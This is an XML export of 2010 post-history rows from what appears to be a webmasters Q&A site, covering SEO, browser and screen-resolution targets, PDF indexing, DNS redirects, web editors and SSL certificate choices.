  <row Id="2570" PostHistoryTypeId="2" PostId="1422" RevisionGUID="0fb6abaf-4f55-4798-93fe-ab2ca2dbf86b" CreationDate="2010-07-21T20:10:09.383" UserId="180" Text="To speculate (because I think that's all you can do on this question without rigorous testing in an essentially uncontrollable environment) I personally doubt that there are yet ANY ranking factors associated with HTML5, for the same reason that Google doesn't assign quality points for valid HTML.  There aren't enough sites using these structured elements yet for them to provide any material value in the search engines' crawl and ranking." />
  <row Id="2571" PostHistoryTypeId="2" PostId="1423" RevisionGUID="76ae96cb-61c2-4213-b532-704c4f2670b8" CreationDate="2010-07-21T20:23:06.527" UserId="922" Text="When making the decision on the minimum requirements for a web application on client machines:&#xD;&#xA;&#xD;&#xA; 1. **Browsers** - Which browsers should one target at very minimum&#xD;&#xA; 2. **Screen Resolution** - Which screen resolution should one target at very minimum&#xD;&#xA;&#xD;&#xA;To ensure the usability of the application is not compromised" />
  <row Id="2572" PostHistoryTypeId="1" PostId="1423" RevisionGUID="76ae96cb-61c2-4213-b532-704c4f2670b8" CreationDate="2010-07-21T20:23:06.527" UserId="922" Text="Which minimum browser or screen resolution should I target my web apps?" />
  <row Id="2573" PostHistoryTypeId="3" PostId="1423" RevisionGUID="76ae96cb-61c2-4213-b532-704c4f2670b8" CreationDate="2010-07-21T20:23:06.527" UserId="922" Text="&lt;web-development&gt;&lt;usability&gt;" />
  <row Id="2574" PostHistoryTypeId="6" PostId="1360" RevisionGUID="44d6b5dd-78e5-42b1-b057-9d3e024ca760" CreationDate="2010-07-21T20:23:41.987" UserId="745" Comment="edited tags" Text="&lt;seo&gt;&lt;serps&gt;&lt;title&gt;&lt;unicode&gt;" />
  <row Id="2575" PostHistoryTypeId="2" PostId="1424" RevisionGUID="0055caf2-aa11-4f99-a628-b7519ac5db84" CreationDate="2010-07-21T20:28:23.707" UserId="87" Text="Instead of targeting a specific browser and resolution, I would start with the assumption that you want your site to usable by as wide a variety of users as possible.  Try to make things adapt to different screen sizes and work in all browsers.  That said, I think its safe to assume 1024x768 for desktop browsing." />
  <row Id="2576" PostHistoryTypeId="2" PostId="1425" RevisionGUID="144e498c-529a-4692-89d8-3396ee330d08" CreationDate="2010-07-21T20:28:52.893" UserId="288" Text="[W3Schools](http://www.w3schools.com/browsers/browsers_display.asp) has some statistics on browser displays. As of January 2010:&#xD;&#xA;&#xD;&#xA;    Higher    1024x768    800x600    640x480    Unknown&#xD;&#xA;    76%       20%         1%         0%         3%&#xD;&#xA;&#xD;&#xA;The Higher figure links to a [new table](http://www.w3schools.com/browsers/browsers_resolution_higher.asp). From the figures it looks like 1024x768 is the effective minimum screen resolution. However, you should remember that not everybody runs their browser in full screen mode.&#xD;&#xA;&#xD;&#xA;There's also a [Browser statistics](http://www.w3schools.com/browsers/browsers_stats.asp) page. The browsers are broken down by version (e.g [Firefox](http://www.w3schools.com/browsers/browsers_firefox.asp)). With browsers like Firefox and Chrome it does appear that the majority are using the latest (non beta) versions. I suspect that this is because they auto-update." />
  <row Id="2577" PostHistoryTypeId="2" PostId="1426" RevisionGUID="5b7b885f-3abc-42cb-942f-3cbe4c7f4a5f" CreationDate="2010-07-21T20:31:58.287" UserId="72" Text="You can base your decision of the recent statistic about the resolution usage. If you want generic number, you can find some from [Net Applications][1] and if you want precise data, you can use Google Analytic on your website for that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://marketshare.hitslink.com/report.aspx?qprid=17" />
  <row Id="2578" PostHistoryTypeId="2" PostId="1427" RevisionGUID="7b07f1fa-4ecd-4972-b08c-f1d39d3ab33b" CreationDate="2010-07-21T20:33:12.917" UserId="87" Text="If you are looking for a &quot;competitor to contribute,&quot; the most common one I've heard used it [Dreamweaver, also available from Adobe.][1] But, this is also a piece of desktop software.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.adobe.com/products/dreamweaver/" />
  <row Id="2579" PostHistoryTypeId="2" PostId="1428" RevisionGUID="cc9859d8-24e2-4e77-97e5-1c9e71cfe4f5" CreationDate="2010-07-21T20:35:57.043" UserId="508" Text="There are basic rules to follow for SEO, and then there are labor intensive site promotion activities that you can do on a daily basis that add tiny increments that over time eventually add up to a boost.&#xD;&#xA;&#xD;&#xA;The ROI curve for these time-intensive activities is, in my experience, not linear.  There's a point at which you could easily devote 8 hours a day to pumping your sites and yet see very little return for it. &#xD;&#xA;&#xD;&#xA;How much time do you spend, and what routine do you follow for SEO? " />
  <row Id="2580" PostHistoryTypeId="1" PostId="1428" RevisionGUID="cc9859d8-24e2-4e77-97e5-1c9e71cfe4f5" CreationDate="2010-07-21T20:35:57.043" UserId="508" Text="How much time do you spend for SEO?" />
  <row Id="2581" PostHistoryTypeId="3" PostId="1428" RevisionGUID="cc9859d8-24e2-4e77-97e5-1c9e71cfe4f5" CreationDate="2010-07-21T20:35:57.043" UserId="508" Text="&lt;seo&gt;&lt;site-maintenance&gt;" />
  <row Id="2582" PostHistoryTypeId="2" PostId="1429" RevisionGUID="3aa26074-cd0b-4685-b098-276075485bc2" CreationDate="2010-07-21T20:37:00.300" UserId="87" Text="[Stackoverflow.com][1] uses spare banner views to display advertisements for open source projects.  I would submit your project there and see if you can get it voted high enough that it will be seen on the site.  The thread with votes for the current quarter is located here: http://meta.stackoverflow.com/questions/53346/open-source-advertising-sidebar-2h-2010&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/" />
  <row Id="2583" PostHistoryTypeId="2" PostId="1430" RevisionGUID="f231f06a-a1b2-4d10-9be4-ac445140446f" CreationDate="2010-07-21T20:46:11.667" UserId="108" Text="I think there are 2 aspects to SEO&#xD;&#xA;&#xD;&#xA; 1. SEO tasks external to you site.  Linking building, promotions, etc&#xD;&#xA; 2. SEO within your site.  Better navigation, less HTML errors, correct us of tags, etc&#xD;&#xA;&#xD;&#xA;For SEO external our site we have 1 employee who spends around 10-15 hours a week for a group of sites that gets about 1,000 hits per day.&#xD;&#xA;&#xD;&#xA;The SEO within our site is more or less my full time job.  That isn't to say that I only pay attention to SEO but when building functions, features, and updating the site I take SEO into consideration on almost every phase and step.  We updated our site recently and just cleaning up our HTML and organizing our data better increased our site hits by over 10%." />
  <row Id="2584" PostHistoryTypeId="5" PostId="1414" RevisionGUID="7f6ce766-5f0b-42bf-bce4-ec96793e00d1" CreationDate="2010-07-21T20:49:27.260" UserId="745" Comment="added 84 characters in body" Text="PageRank is a fairly useless metric to chase and I wouldn't bother with it. With that caveat, if you know PHP and have a host that supports it, check out this tutorial:&#xD;&#xA;http://bohuco.net/blog/2010/07/google-ranking-checker-class-in-php/&#xD;&#xA;&#xD;&#xA;Also, just for clarification, websites don't have PageRank, individual pages do." />
  <row Id="2585" PostHistoryTypeId="5" PostId="1364" RevisionGUID="754b2b46-a0cd-4279-a8c2-1c885e4372ec" CreationDate="2010-07-21T20:58:43.773" UserId="108" Comment="added 3 characters in body; deleted 3 characters in body" Text="The site I am working on has few hundred distributors, each one has its own page, and a link to that distributors website.  Some of the distributors have multiple locations and so they have multiple pages with the same link.&#xD;&#xA;&#xD;&#xA;Should I put a rel=&quot;nofollow&quot; on those external links so that I don't send my link juice out of the site or should I do it?  I am not really sure what is best for my site." />
  <row Id="2586" PostHistoryTypeId="4" PostId="1413" RevisionGUID="765f458a-bc38-43c0-8653-7eb7af3c2e34" CreationDate="2010-07-21T21:07:37.497" UserId="480" Comment="edited title" Text="What are the SEO rules for HTML 5?" />
  <row Id="2587" PostHistoryTypeId="2" PostId="1431" RevisionGUID="969898ac-84c7-41c6-bff7-db9b0797d608" CreationDate="2010-07-21T21:51:42.270" UserId="108" Text="The website I am working on has a few hundred PDFs in it.  I don't think I have ever seen any of them come back in a search but there are linked to directly from out site.  They are also full of keywords because they are product documents.&#xD;&#xA;&#xD;&#xA;Is there anything special we need to do to get Google or other search engines to crawl them?&#xD;&#xA;&#xD;&#xA;Is there any hard and fast rules for making PDFs to help Google like them more?  For instance should I run them through ghostscript to clean up broken PDF tags that Adobe creates during generation?&#xD;&#xA;" />
  <row Id="2588" PostHistoryTypeId="1" PostId="1431" RevisionGUID="969898ac-84c7-41c6-bff7-db9b0797d608" CreationDate="2010-07-21T21:51:42.270" UserId="108" Text="Do search engines crawl PDFs and if so are there any rules to follow when making them" />
  <row Id="2589" PostHistoryTypeId="3" PostId="1431" RevisionGUID="969898ac-84c7-41c6-bff7-db9b0797d608" CreationDate="2010-07-21T21:51:42.270" UserId="108" Text="&lt;seo&gt;&lt;pdf&gt;" />
  <row Id="2590" PostHistoryTypeId="2" PostId="1432" RevisionGUID="9c5b83ec-50c3-4205-8645-b14667ed62ee" CreationDate="2010-07-21T21:58:53.873" UserId="702" Text="I'm no expert on web development, and need to find a way to let the browser call a PHP routine on the server with the current document ID as parameter, eg.&#xD;&#xA;&#xD;&#xA;http://www.acme.com/index.php?id=1&#xD;&#xA;&#xD;&#xA;I then need to call eg. /change.php with id=1 to do something about that document.&#xD;&#xA;&#xD;&#xA;Unless I'm mistaken, there are three ways for the client to return this information:&#xD;&#xA;&#xD;&#xA;- if passed as argument in the URL (as above), it will be available as HTTP referrer&#xD;&#xA;- by including it as hidden field in &lt;form&gt;&#xD;&#xA;- by sending it as cookie&#xD;&#xA;&#xD;&#xA;I suppose using a hidden field is the most obvious choice. Are there other ways? Which solution would you recommend? Any security issues to be aware?&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="2591" PostHistoryTypeId="1" PostId="1432" RevisionGUID="9c5b83ec-50c3-4205-8645-b14667ed62ee" CreationDate="2010-07-21T21:58:53.873" UserId="702" Text="Ways for client to include page ID in query?" />
  <row Id="2592" PostHistoryTypeId="3" PostId="1432" RevisionGUID="9c5b83ec-50c3-4205-8645-b14667ed62ee" CreationDate="2010-07-21T21:58:53.873" UserId="702" Text="&lt;html&gt;&lt;http&gt;" />
  <row Id="2593" PostHistoryTypeId="2" PostId="1433" RevisionGUID="e4307fc2-3c8c-4f8b-b6b4-d5a1531a447c" CreationDate="2010-07-21T22:00:24.573" UserId="108" Text="On the website I am working on I have a few hundred product pages.  Some of the products look identical and I am positive we now have the same images with different alt tags and different source files.  For example we have&#xD;&#xA;&#xD;&#xA;    &lt;img src=&quot;/Images/Product1.jpg&quot; alt=&quot;Product 1&quot; /&gt; &#xD;&#xA;    &lt;img src=&quot;/Images/Product2.jpg&quot; alt=&quot;Product 2&quot; /&gt; &#xD;&#xA;    &lt;img src=&quot;/Images/Product1.jpg&quot; alt=&quot;1 Product&quot; /&gt;&#xD;&#xA;&#xD;&#xA;In this example Product1.jpg and Product2.jpg would have the same image in them.&#xD;&#xA;&#xD;&#xA;Is there any real issue with this as far as SEO goes, is it pretty minor, or is something I should be concerned with fixing? " />
  <row Id="2594" PostHistoryTypeId="1" PostId="1433" RevisionGUID="e4307fc2-3c8c-4f8b-b6b4-d5a1531a447c" CreationDate="2010-07-21T22:00:24.573" UserId="108" Text="How does google handle 2 img tags to different images with the same content and different alt tags" />
  <row Id="2595" PostHistoryTypeId="3" PostId="1433" RevisionGUID="e4307fc2-3c8c-4f8b-b6b4-d5a1531a447c" CreationDate="2010-07-21T22:00:24.573" UserId="108" Text="&lt;seo&gt;" />
  <row Id="2596" PostHistoryTypeId="2" PostId="1434" RevisionGUID="798e99da-d743-4f0e-ab7b-7d1a6fecadeb" CreationDate="2010-07-21T22:10:13.600" UserId="32" Text="Some ideas :&#xD;&#xA;&#xD;&#xA; - [**Amaya**][1] by W3C , open source&#xD;&#xA; - **[WYSWYGPro][2]** can be embedded on a web page - No desktop software&#xD;&#xA; - **[TinyMCE][3]** Javascript WYSIWYG editor - No desktop software&#xD;&#xA;&#xD;&#xA;I haven't any personal experience with any of them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Amaya/Overview.html&#xD;&#xA;  [2]: http://www.wysiwygpro.com/&#xD;&#xA;  [3]: http://tinymce.moxiecode.com/" />
  <row Id="2597" PostHistoryTypeId="2" PostId="1435" RevisionGUID="8caedb92-a24a-4990-81cd-12fede42d5cb" CreationDate="2010-07-21T22:11:25.860" UserId="26" Text="I think it's pretty minor. I am *guessing* that Google aggregates the various `alt` and `title` attributes in some way.&#xD;&#xA;&#xD;&#xA;If you want to provide real clarity to the search engines, check out [my answer][1] in &quot;[How do I get Images for my site to Return in Google Searches?][2]&quot;&#xD;&#xA;&#xD;&#xA;In short, add an [Image SiteMap][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/1000/how-do-i-get-images-for-my-site-to-return-in-google-searches/1050#1050&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/1000/how-do-i-get-images-for-my-site-to-return-in-google-searches/1050&#xD;&#xA;  [3]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=178636" />
  <row Id="2598" PostHistoryTypeId="2" PostId="1436" RevisionGUID="57da6218-b963-423b-bece-c1375fa73f6a" CreationDate="2010-07-21T22:13:40.040" UserId="32" Text="Steven Krug's **[Don't Make Me Think][1]** is an excellent book about website usability. &#xD;&#xA;&#xD;&#xA;It's a highly recommended, easy-to-read, on many programmer must-read lists.&#xD;&#xA;&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.co.uk/Dont-Make-Me-Think-Usability/dp/0321344758/ref=pd_bxgy_b_img_b&#xD;&#xA;  [2]: http://ecx.images-amazon.com/images/I/41xhA5EwnyL._SL500_PIsitb-sticker-arrow-big,TopRight,35,-73_OU02_SS100_.jpg &quot;Dont make me think&quot;" />
  <row Id="2599" PostHistoryTypeId="2" PostId="1437" RevisionGUID="a98e68a1-c29e-4300-a528-38ad325f7e66" CreationDate="2010-07-21T22:25:29.763" UserId="427" Text="I'm not sure about other search engines, but as far as Google is concerned the main rule would be to not exclude them via robots.txt&#xD;&#xA;&#xD;&#xA;[This][1] was their initial announcement of supporting PDF search.&#xD;&#xA;&#xD;&#xA;[1]: http://googleblog.blogspot.com/2008/10/picture-of-thousand-words.html" />
  <row Id="2600" PostHistoryTypeId="2" PostId="1438" RevisionGUID="84cb5bce-50f6-45e8-b99b-c7211a9f6069" CreationDate="2010-07-21T22:31:41.257" UserId="9329" Text="If you just want to allow them to modify a few static texts on the site, I recommend [CushyCMS][1]&#xD;&#xA;&#xD;&#xA;You just put some html tags around the areas you want to make editable, you give CushyCMS your ftp access, and you're done. Very very easy.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cushycms.com/" />
  <row Id="2601" PostHistoryTypeId="5" PostId="1359" RevisionGUID="1c0e803d-63be-4a67-9ae7-6e7812a1984d" CreationDate="2010-07-21T22:39:24.167" UserId="233" Comment="added 855 characters in body" Text="That looks *incredibly spammy* to me, and chances are it would to search engines. Your users may also be reluctant to use that code because of the h1 (you can only have one per page in HTML4). Plus they might think it (and the other elements) will affect how it looks on their site.&#xD;&#xA;&#xD;&#xA;You can get great SEO value with a simple image link:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;example/com&quot;&gt;&lt;img src=&quot;example.com/image.png&quot; alt=&quot;link text&quot; style=&quot;border:0&quot; /&gt;&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;I believe Google will give some weight to the alt text as if it was a text link. You could offer code for a regular text link as an alternative, if that fits your badge system.&#xD;&#xA;&#xD;&#xA;Remember, you want to get as many links as possible, so make it *as simple as possible* for people to link to you! 10 links without keywords from good sites is much better than one spammy link with keywords.&#xD;&#xA;&#xD;&#xA;A few additions re comments:&#xD;&#xA;&#xD;&#xA;* Your code looks spammy IMO because of the text hiding and artificial 'inflation' of importance you give the text.&#xD;&#xA;* You will get &quot;as much SEO as possible&quot; by getting more people to use the link, not by trying to cram in keywords and the like.&#xD;&#xA;* Headings and bold text emphasize keywords on the page, but I don't think they increase &quot;link weight&quot; in any way (I've seen SEO blogs mention this a couple of times).&#xD;&#xA;* I'm sure the complexity *will* be a problem for some users - I for one would avoid using that code because it looks a mess of tags for what should be a simple image link.&#xD;&#xA;* A bit of quick research [backs up my suggestion][1] that the image alt text is treated as if it was link text. So really, there's *no reason* to use anything more than a simple image link with good alt text.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seo-gold.com/seo-tutorial/anchor-text-optimization" />
  <row Id="2602" PostHistoryTypeId="2" PostId="1439" RevisionGUID="cd1e4cbc-9fb4-425a-a307-1d17aab8c812" CreationDate="2010-07-21T22:43:06.267" UserId="871" Text="Seems to me the deportment of the modern web is now in full motion to url-as-arguments.&#xD;&#xA;&#xD;&#xA;http://www.acme.com/page1, http://www.acme.com/page2&#xD;&#xA;&#xD;&#xA;http://www.acme.com/page/1, http://www.acme.com/page/2&#xD;&#xA;&#xD;&#xA;Mod-rewrite can get you there. ([Eventually][1])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/1882694/mod-rewrite-pass-the-path-query-string-url-as-a-parameter" />
  <row Id="2603" PostHistoryTypeId="2" PostId="1440" RevisionGUID="4a6530be-de42-4cf5-aaaf-f0183e344378" CreationDate="2010-07-21T22:45:34.750" UserId="914" Text="Google [definitely indexes PDF files][1] and you can search just for PDF files by adding `filetype:pdf` to your search query ([example][2]).&#xD;&#xA;&#xD;&#xA;I would say the main things to do to optimise a PDF so it's easily indexed would be:&#xD;&#xA;&#xD;&#xA; - Give it a meaningful filename&#xD;&#xA; - Complete all the document metadata properties (title, author, keywords etc)&#xD;&#xA; - Make sure your PDF is comprised of actual text and not scanned images&#xD;&#xA; - Ensure you have good content with correct use of headings, just as you would an HTML document&#xD;&#xA;&#xD;&#xA;For more tips read [Optimizing PDF Documents][3] and [Eleven Tips For Optimizing PDFs For Search Engines][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://searchenginewatch.com/2163391&#xD;&#xA;  [2]: http://www.google.co.uk/search?hl=en&amp;q=programming+filetype%3Apdf&#xD;&#xA;  [3]: http://labs.justsearching.co.uk/optimizing-pdf-documents-621.html&#xD;&#xA;  [4]: http://searchengineland.com/eleven-tips-for-optimizing-pdfs-for-search-engines-12156" />
  <row Id="2604" PostHistoryTypeId="2" PostId="1441" RevisionGUID="7e2d80ab-f3dd-4355-becc-0ae5a17a11a5" CreationDate="2010-07-21T23:06:41.693" UserId="125" Text="For example, my domain is `example.com` and when someone navigates to `example.com/sample/page.htm`, I want it to redirect to `test.com/sample/page.htm`.&#xD;&#xA;&#xD;&#xA;I know that this can probably easily be done using a `.htaccess` file or a 404 page. However, I am looking for a solution that doesn't require me to have my DNS provider host any files for me.&#xD;&#xA;&#xD;&#xA;I want to do this with DNS settings only, e.g.:&#xD;&#xA;&#xD;&#xA; - CNAME records&#xD;&#xA; - A records&#xD;&#xA; - 301 forwarding&#xD;&#xA; - (any other DNS settings I'm missing)&#xD;&#xA;&#xD;&#xA;Is there any way to do this?" />
  <row Id="2605" PostHistoryTypeId="1" PostId="1441" RevisionGUID="7e2d80ab-f3dd-4355-becc-0ae5a17a11a5" CreationDate="2010-07-21T23:06:41.693" UserId="125" Text="Is there any way to redirect one domain to another via DNS settings keeping the path information?" />
  <row Id="2606" PostHistoryTypeId="3" PostId="1441" RevisionGUID="7e2d80ab-f3dd-4355-becc-0ae5a17a11a5" CreationDate="2010-07-21T23:06:41.693" UserId="125" Text="&lt;dns&gt;&lt;redirects&gt;" />
  <row Id="2607" PostHistoryTypeId="2" PostId="1442" RevisionGUID="4b7dc0e9-4f16-4cca-8176-86749e4d6163" CreationDate="2010-07-21T23:08:33.577" UserId="233" Text="The standard XML sitemap can be submitted to the three major search engines so you don't really need to bother with urllist.txt.&#xD;&#xA;&#xD;&#xA;For automatic creation of sitemaps, have a search for scripts that can generate sitemaps for you, or roll your own - I wrote a PHP script for one of my sites to generate the sitemap since the site is mostly database generated.&#xD;&#xA;&#xD;&#xA;You can submit an RSS Feed as a sitemap to Google and Yahoo (and maybe Bing), which is useful for frequently updated content such as news/blogs. Plus if your feed is auto-generated (through WordPress et al) then you don't need to manually update it.&#xD;&#xA;&#xD;&#xA;There are also Google's extensions to the sitemap format for [images][1] and [videos][2] - the latter looks fairly complex but if you work through the linked help guide you should pick it up.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=178636&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=80472" />
  <row Id="2608" PostHistoryTypeId="2" PostId="1443" RevisionGUID="a83a9944-8ed9-4d3c-acf0-f80a4403fa6a" CreationDate="2010-07-21T23:18:52.033" UserId="871" Text="You could make example.com/test.com resolve to the same webserver (IP) via dns (CNAME if you like) and that would work.&#xD;&#xA;&#xD;&#xA;If you are looking to do this on a per-path basis than no. DNS is ignorant of things like URL. DNS is simply translating the host part of the url (example.com) into IP address. The web server is in charge of figuring out what (or where) the url is supposed to resolve. I believe you would need to do this at the webserver (http) level." />
  <row Id="2609" PostHistoryTypeId="2" PostId="1444" RevisionGUID="2b2cf333-0fa5-475d-b58e-dd8bfcfa02d7" CreationDate="2010-07-21T23:34:03.567" UserId="427" Text="You cannot do this via DNS alone. 301 redirects are not a DNS thing. They're a webserver thing.&#xD;&#xA;&#xD;&#xA;What you can do is point your example.com DNS entries to the same server as test.com, and set up example.com as an alias domain to test.com." />
  <row Id="2610" PostHistoryTypeId="5" PostId="1398" RevisionGUID="6225da90-da68-4012-9da7-238fb57d56f9" CreationDate="2010-07-21T23:50:49.327" UserId="18" Comment="visual improvments" Text="I've been using **[IMified][1]** for a little while to do stuff similar to that and I've found it to work well. It allows you to receive SMS (or Twitter and IM messages) as HTTP POSTs and your web server's response is sent as a reply. They also offer a web service that can be used to [initiate conversation and send messages][2].&#xD;&#xA;&#xD;&#xA;While I was looking for other options I came across **[Zeep Mobile][3]** which has an API for sending and receiving SMS. It is either free and ad supported or available for a montly fee. I have not tried it, but it looks quite interesting.&#xD;&#xA;&#xD;&#xA;Those two options are both free, but do provide for contacting users outside of the United States. If you need to do that I'd recommend an SMS Gateway like **[ClickATell][4]**.&#xD;&#xA;&#xD;&#xA;Best of luck!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.imified.com&#xD;&#xA;  [2]: http://www.imified.com/developers/api#sendmessage&#xD;&#xA;  [3]: http://www.zeepmobile.com/&#xD;&#xA;  [4]: http://www.clickatell.com/" />
  <row Id="2611" PostHistoryTypeId="2" PostId="1445" RevisionGUID="e22fd12c-7331-4650-9444-00ebda0e0c41" CreationDate="2010-07-22T00:01:26.090" UserId="179" Text="Check out the new &lt;a href=&quot;http://aloha-editor.com/&quot;&gt;Aloha Editor&lt;/a&gt;. &#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;Aloha Editor makes HTML5 &lt;code&gt;contenteditable&lt;/code&gt; possible - now. All major browsers support &lt;code&gt;contenteditable&lt;/code&gt;. But they provide no interface or even break the HTML source code. &lt;code&gt;Contenteditable&lt;/code&gt; is the heart of Aloha Editor and makes it to worlds most advanced Editor. With Aloha Editor you are one step closer to the exiting new world that comes with HTML5. The future of content editing. Available now with Aloha Editor.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;It allows you to directly edit elements on the page, no special CMS backends required. Could definitely make life easier if your clients aren't so technically inclined. They just start editing what they see right there on the page where they see it." />
  <row Id="2612" PostHistoryTypeId="2" PostId="1446" RevisionGUID="97c7c75a-f0eb-4c93-b7dd-b7d4fa6a37e7" CreationDate="2010-07-22T00:08:28.743" UserId="179" Text="If the context of the images is different – one image is surrounded by a paragraph discussing &lt;em&gt;x&lt;/em&gt; while the same image used a second time is surrounded by a paragraph discussing &lt;em&gt;y&lt;/em&gt; – my understanding is that the image will be indexed twice, and returned in results for queries on either of the subjects in the context of &lt;em&gt;x&lt;/em&gt; or &lt;em&gt;y&lt;/em&gt;.&#xD;&#xA;&#xD;&#xA;Also, you could always &lt;a href=&quot;http://www.google.com/moderator/#15/e=7f3&amp;t=7f3.43&quot;&gt;post this as a question for Google's Matt Cutts&lt;/a&gt;." />
  <row Id="2613" PostHistoryTypeId="2" PostId="1447" RevisionGUID="b0b6e59a-3d01-4fc9-8c38-4f28c5ba0b72" CreationDate="2010-07-22T00:24:55.997" UserId="767" Text="Except for point #3, [Drupal](http://www.drupal.org) can do everything you've listed, including&#xD;&#xA;&#xD;&#xA;* Different user roles for candidates vs recruiters (out of the box)&#xD;&#xA;* Custom node types for different kinds of information (Jobs vs Resumes - see [CCK](http://drupal.org/project/cck))&#xD;&#xA;* User Profiles (simple ones out of the box, for complex ones see *[Profile: extending user  account information](http://drupal.org/handbook/modules/profile)*)&#xD;&#xA;&#xD;&#xA;Drupal has other features you'd find useful - including rich support for tagging and searching." />
  <row Id="2614" PostHistoryTypeId="2" PostId="1448" RevisionGUID="ba9ff655-260f-42f5-bc20-6dba3ec89d39" CreationDate="2010-07-22T01:11:04.827" UserId="66" Text="Wikipedia has a [list of top-level domains][1] but few of their entries specify availability or restrictions, such as having to be a citizen or have a business presence, etc.&#xD;&#xA;&#xD;&#xA;So, what are some top-level domains with no to little restrictions with regards to who may register? These are domains particularly useful in [domain hacks][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/List_of_Internet_top-level_domains&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Domain_hack" />
  <row Id="2615" PostHistoryTypeId="1" PostId="1448" RevisionGUID="ba9ff655-260f-42f5-bc20-6dba3ec89d39" CreationDate="2010-07-22T01:11:04.827" UserId="66" Text="List of international top-level domains that allow foreign registrations" />
  <row Id="2616" PostHistoryTypeId="3" PostId="1448" RevisionGUID="ba9ff655-260f-42f5-bc20-6dba3ec89d39" CreationDate="2010-07-22T01:11:04.827" UserId="66" Text="&lt;domains&gt;&lt;domain-hacks&gt;" />
  <row Id="2617" PostHistoryTypeId="16" PostId="1448" RevisionGUID="ba9ff655-260f-42f5-bc20-6dba3ec89d39" CreationDate="2010-07-22T01:11:04.827" UserId="66" />
  <row Id="2618" PostHistoryTypeId="2" PostId="1449" RevisionGUID="22b53536-72dd-4927-a04f-de0dcd20ae48" CreationDate="2010-07-22T01:35:28.950" UserId="950" Text="Wordpress is the _de facto_ seo weapon of choice.  I get that.  &#xD;&#xA;&#xD;&#xA;What exactly is it about wordpress that is so special?  It's blogging software, with some plugins, right?  &#xD;&#xA;&#xD;&#xA;Why can I not use any old blogging engine, or even, a static file generator solution, like old school movable type?&#xD;&#xA;&#xD;&#xA;Is there a reason?  Or just ease of use?" />
  <row Id="2619" PostHistoryTypeId="1" PostId="1449" RevisionGUID="22b53536-72dd-4927-a04f-de0dcd20ae48" CreationDate="2010-07-22T01:35:28.950" UserId="950" Text="Why does SEO seem to hinge on using wordpress?" />
  <row Id="2620" PostHistoryTypeId="3" PostId="1449" RevisionGUID="22b53536-72dd-4927-a04f-de0dcd20ae48" CreationDate="2010-07-22T01:35:28.950" UserId="950" Text="&lt;seo&gt;&lt;wordpress&gt;" />
  <row Id="2621" PostHistoryTypeId="2" PostId="1450" RevisionGUID="f45daf59-5cc8-4b8f-bd84-60b2806ddd31" CreationDate="2010-07-22T01:45:51.360" UserId="667" Text="I have never heard this particular tidbit about Wordpress. Sure, it's aggressively SEOptimized, but I don't think there's anything &quot;magic&quot; about it - in other words, there's no reason any other CMS couldn't be optimized the same way.&#xD;&#xA;&#xD;&#xA;I suspect that what makes the difference with Wordpress is the fact that there is a large and active developer community behind it, which includes a lot of people who run WP sites and are quite concerned about SEO. Most other CMS's and other website creation apps don't have the same resources to draw on." />
  <row Id="2622" PostHistoryTypeId="2" PostId="1451" RevisionGUID="f5ee9962-b210-47c9-824d-413ce77ba5e4" CreationDate="2010-07-22T02:00:45.897" UserId="667" Text="As RandomBen said, self-signed certificates are generally frowned upon for the reasons he explained. But there is one situation in which they are fine: if the set of people who need to submit sensitive data to your website is small and limited, they are all somewhat technically competent, and you are able to communicate with all of them. In that case you can give each person the certificate details, then they can manually check the certificate when they go to your site and add a security exception if appropriate.&#xD;&#xA;&#xD;&#xA;As an extreme example, on my personal VPS I have an administrative subdomain, which should only ever be accessed by me. There would be no problem securing that domain with a self-signed cert because I can manually check that the server certificate being used to secure the connection is the same one I installed on the server.&#xD;&#xA;&#xD;&#xA;In cases where a self-signed cert won't work, the free StartSSL certificate that others have suggested _might_ be a reasonable choice. I use one for the HTTPS version of my personal website (the main `www` domain). The reason they are able to offer the certificate for free is that when you register for the cert, they do only minimal (automated) checking to determine that you are who you say you are - basically they verify your email address by emailing you a verification code, and they verify that you own the domain by having you modify your index file (IIRC). The most significant downside of the free certificate is that, last I checked, Internet Explorer did not recognize StartCom as a root CA, so if you use a StartSSL certificate, visitors to your site who use IE will get a certificate warning. That does have the potential to push visitors elsewhere, so if you are running something like an e-commerce site, I'd suggest spending the money to get a certificate whose root CA will be recognized by all the major browsers.&#xD;&#xA;&#xD;&#xA;(It's possible that recent versions of IE/Windows have added StartCom to the CA list, I'm not sure)" />
  <row Id="2623" PostHistoryTypeId="2" PostId="1452" RevisionGUID="8bdd89de-64e2-4f63-a653-55ba2ef553b2" CreationDate="2010-07-22T02:41:44.127" UserId="179" Text="Wikipedia lists them all in the &lt;a href=&quot;http://en.wikipedia.org/wiki/Country_code_top-level_domain#List_of_ccTLDs&quot;&gt;Country Code top-level domain&lt;/a&gt; article, with domains allowing foreign registration marked with an asterisk. " />
  <row Id="2624" PostHistoryTypeId="16" PostId="1452" RevisionGUID="8bdd89de-64e2-4f63-a653-55ba2ef553b2" CreationDate="2010-07-22T02:41:44.127" UserId="-1" />
